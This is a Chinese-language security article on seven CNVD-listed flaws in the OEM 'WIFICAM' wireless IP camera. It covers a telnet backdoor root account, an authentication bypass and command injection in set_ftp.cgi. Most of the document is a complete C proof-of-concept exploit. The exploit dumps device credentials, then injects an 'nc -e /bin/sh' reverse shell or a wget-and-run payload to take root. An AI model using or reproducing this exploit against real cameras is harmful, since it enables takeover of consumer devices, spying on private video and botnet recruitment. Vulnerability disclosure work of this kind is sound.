国家信息安全漏洞共享平台(CNVD)收录了名为Wireless IP Camera (P2P) WIFICAM摄像头产品存在的多处高危安全漏洞(CNVD-2017-02751、CNVD-2017-02773、CNVD-2017-02774、CNVD-2017-02775、CNVD-2017-02776、CNVD-2017-02777、CNVD-2017-02778)。综合利用上述漏洞,可远程控制设备,并利用IoT设备发起大规模网络攻击。

漏洞情况分析

Wireless IP Camera (P2P)WIFICAM是由一家中国厂商(目前源厂商暂未能确认)所生产的网络摄像头,并以贴牌产品的形式(OEM)向多家摄像头厂商供货。该厂商提供的系列摄像头产品中存在多处安全漏洞,具体漏洞如下:

漏洞名称 漏洞描述 评级
后门账号漏洞(CNVD-2017-02751) 默认运行Telnet,任意用户通过以下帐号密码都能访问登陆:root:$1$ybdHbPDn$ii9aEIFNiolBbM9QxW9mr0:0:0::/root:/bin/sh 高危
RSA密钥和证书泄露漏洞(CNVD-2017-02773) /system/www/pem/ck.pem中包含了拥有私有RSA密钥的Apple certificate 中危
预授权信息和凭证泄漏漏洞 (CNVD-2017-02774) 在访问服务器配置文件的时候,通过提供空白的「loginuse」和「loginpas」参数,攻击者能够绕过设备的认证程序。这样就能在不登陆的情况下,攻击者下载设备的配置文件。这些配置文件包含设备的凭证信息,以及FTP和SMTP帐号内容。 高危
远程命令执行漏洞(CNVD-2017-02775) FTP公共网关接口(CGI)中inset_ftp.cgi存在远程命令执行漏洞。攻击者利用ftp管理员身份可进行远程命令执行,并进一步获得网络设备的root权限 中危
预授权远程命令执行漏洞(CNVD-2017-02776) 通过访问带有特殊参数的URL链接,攻击者能够以root用户权限绕过认证程序并在摄像头上执行各种代码。 中危
未授权访问漏洞 (CNVD-2017-02777) 攻击者能够通过10554端口访问摄像头的内置RTSP服务器,并在未认证的情况下观看视频直播。 高危
‘Cloud’功能设计缺陷漏洞 (CNVD-2017-02778) 摄像头提供了「Cloud」功能,且默认开启,能够让消费者通过网络管理设备这项功能使用明文UDP通道来绕过NAT和防火墙。攻击者能够滥用这项功能发起蛮力攻击(brute-force attacks),从而猜测设备的凭证信息。 高危

附:参考链接

http://www.cnvd.org.cn/flaw/show/CNVD-2017-02751

http://www.cnvd.org.cn/flaw/show/CNVD-2017-02773

http://www.cnvd.org.cn/flaw/show/CNVD-2017-02774

http://www.cnvd.org.cn/flaw/show/CNVD-2017-02775

http://www.cnvd.org.cn/flaw/show/CNVD-2017-02776

http://www.cnvd.org.cn/flaw/show/CNVD-2017-02777

http://www.cnvd.org.cn/flaw/show/CNVD-2017-02778

POC


#include <stdio.h>

#include <string.h>

#include <stdlib.h>

#include <unistd.h>

#include <arpa/inet.h>

#include <netinet/in.h>

#include <sys/types.h>

#include <sys/socket.h>

 

 

#define CAM_PORT 80

#define REMOTE_HOST "192.168.1.1"

#define REMOTE_PORT "1337"

#define PAYLOAD_0 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(nc%20" REMOTE_HOST "+" REMOTE_PORT "%20-e/bin/sh)&dir=/&mode=PORT&upload_interval=0\r\n\r\n"

#define PAYLOAD_1 "GET /ftptest.cgi?next_url=test_ftp.htm&loginuse=%s&loginpas=%s\r\n\r\n"

#define PAYLOAD_2 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=passpasspasspasspasspasspasspasspass&dir=/&mode=PORT&upload_interval=0\r\n\r\n"

 

 

#define ALTERNATIVE_PAYLOAD_zero0 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(nc+" REMOTE_HOST "+" REMOTE_PORT "+-e/bin/sh)&dir=/&mode=PORT&upload_interval=0\r\n\r\n"

#define ALTERNATIVE_PAYLOAD_zero1 "GET /set_ftp.cgi?next_url=ftp.htm&loginuse=%s&loginpas=%s&svr=192.168.1.1&port=21&user=ftp&pwd=$(wget+http://" REMOTE_HOST "/stufz&&./stuff)&dir=/&mode=PORT&upload_interval=0\r\n\r\n"

 

char *    creds(char  *argv,

                int   get_config);

 

int       rce(char    *argv,

              char    *id,

              char    attack[],

              char    desc[]);

 

 

int   main(int        argc,

           char       **argv,

           char       **envp)

{

  char                *id;

 

  printf("Camera 0day root RCE with connect-back @PierreKimSec\n\n");

 

  if (argc < 2)

  {

     printf("%s target\n", argv[0]);

     printf("%s target --get-config      will dump the configuration and exit\n", argv[0]);

     return (1);

  }

 

  if (argc == 2)

    printf("Please run `nc -vlp %s` on %s\n\n", REMOTE_PORT, REMOTE_HOST);

 

  if (argc == 3 && !strcmp(argv[2], "--get-config"))

    id = creds(argv[1], 1);

  else

    id = creds(argv[1], 0);

   

  if (id == NULL)

  {

    printf("exploit failed\n");

    return (1);

  }

  printf("done\n");

 

  printf("    login = %s\n", id);

  printf("    pass  = %s\n", id + 32);

 

  if (!rce(argv[1], id, PAYLOAD_0, "planting"))

    printf("done\n");

  sleep(1);

  if (!rce(argv[1], id, PAYLOAD_1, "executing"))

    printf("done\n");

  if (!rce(argv[1], id, PAYLOAD_2, "cleaning"))

    printf("done\n");

  if (!rce(argv[1], id, PAYLOAD_1, "cleaning"))

    printf("done\n");

 

  printf("[+] enjoy your root shell on %s:%s\n", REMOTE_HOST, REMOTE_PORT);

 

  return (0);

}

 

 

char *    creds(char  *argv,

                int   get_config)

{

  int                 sock;

  int                 n;

  struct sockaddr_in  serv_addr;

  char                buf[8192] = { 0 };

  char                *out;

  char                *tmp;

  char                payload[] = "GET /system.ini?loginuse&loginpas HTTP/1.0\r\n\r\n";

  int                 old_n;

  int                 n_total;

 

 

  sock = 0;

  n = 0;

  old_n = 0;

  n_total = 0;

 

  printf("[+] bypassing auth ... ");

 

  if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)

  {

    printf("Error while creating socket\n");

    return (NULL);

  }

      

  memset(&serv_addr, '0', sizeof(serv_addr));

  serv_addr.sin_family = AF_INET;

  serv_addr.sin_port = htons(CAM_PORT);

 

  if (inet_pton(AF_INET, argv, &serv_addr.sin_addr) <= 0)

  {

    printf("Error while inet_pton\n");

    return (NULL);

  }

 

  if (connect(sock, (struct sockaddr *)&serv_addr , sizeof(serv_addr)) < 0)

  {

    printf("creds: connect failed\n");

    return (NULL);

  }

 

  if (send(sock, payload, strlen(payload) , 0) < 0)

  {

    printf("creds: send failed\n");

    return (NULL);

  }

 

  if (!(tmp = malloc(10 * 1024 * sizeof(char))))

    return (NULL);

 

  if (!(out = calloc(64, sizeof(char))))

    return (NULL);

 

  while ((n = recv(sock, buf, sizeof(buf), 0)) > 0)

  {

    n_total += n;

    if (n_total < 1024 * 10)

      memcpy(tmp + old_n, buf, n);

    if (n >= 0)

      old_n = n;

  }

 

  close(sock);

 

  /*

  [ HTTP HEADERS ]

  ...

 

  000????: 0000 0a0a 0a0a 01.. .... .... .... ....

                ^^^^ ^^^^ ^^

                Useful reference in the binary data

                in order to to find the positions of

                credentials

  ...

  ... 

  0000690: 6164 6d69 6e00 0000 0000 0000 0000 0000  admin...........

  00006a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................

  00006b0: 6164 6d69 6e00 0000 0000 0000 0000 0000  admin...........

  00006c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................

  ...

 

  NOTE: reference can be too:

  000????: 0006 0606 0606 0100 000a .... .... ....

 

  Other method: parse everything, find the "admin" string and extract the associated password

  by adding 31bytes after the address of 'a'[dmin].

  Works if the login is admin (seems to be this by default, but can be changed by the user)

  */

 

  if (get_config)

  {

    for (unsigned int j = 0; j < n_total && j < 10 * 1024; j++)

      printf("%c", tmp[j]);

    exit (0);

  }

 

 

  for (unsigned int j = 50; j < 10 * 1024; j++)

  {

     if (tmp[j - 4] == 0x0a &&

         tmp[j - 3] == 0x0a &&

         tmp[j - 2] == 0x0a &&

         tmp[j - 1] == 0x0a &&

         tmp[j]     == 0x01)

     {

       if (j + 170 < 10 * 1024)

       {

         strcat(out, &tmp[j + 138]);

         strcat(out + 32 * sizeof(char), &tmp[j + 170]);

         free(tmp);

 

         return (out);

       }

     }

  }

 

  free(tmp);

 

  return (NULL);

}

 

int       rce(char    *argv,

              char    *id,

              char    attack[],

              char    desc[])

{

  int                 sock;

  struct sockaddr_in  serv_addr;

  char                *payload;

 

  if (!(payload = calloc(512, sizeof(char))))

    return (1);

 

  sock = 0;

 

  printf("[+] %s payload ... ", desc);

 

  if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)

  {

    printf("Error while creating socket\n");

    return (1);

  }

  

  memset(&serv_addr, '0', sizeof(serv_addr));

  serv_addr.sin_family = AF_INET;

  serv_addr.sin_port = htons(CAM_PORT);

 

  if (inet_pton(AF_INET, argv, &serv_addr.sin_addr) <= 0)

  {

    printf("Error while inet_pton\n");

    return (1);

  }

 

  if (connect(sock, (struct sockaddr *)&serv_addr , sizeof(serv_addr)) < 0)

  {

    printf("rce: connect failed\n");

    return (1);

  }

 

 

  sprintf(payload, attack, id, id + 32);

  if (send(sock, payload, strlen(payload) , 0) < 0)

  {

    printf("rce: send failed\n");

    return (1);

  }

 

  return (0);

}


*本文作者:学霸么么哒